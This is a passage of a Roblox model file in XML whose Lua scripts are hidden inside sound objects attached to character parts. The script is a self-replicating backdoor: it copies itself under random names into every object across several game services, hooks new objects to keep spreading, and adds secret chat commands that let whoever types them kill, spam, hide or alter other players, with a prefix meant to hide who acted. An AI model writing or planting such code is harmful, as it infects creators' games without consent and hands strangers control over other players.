jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX600">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-145.5</X>
							<Y>1.60000002</Y>
							<Z>-2</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX601">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX602">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">916t65wz</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX603">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">f1fowz35</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX604">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wuf7q</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
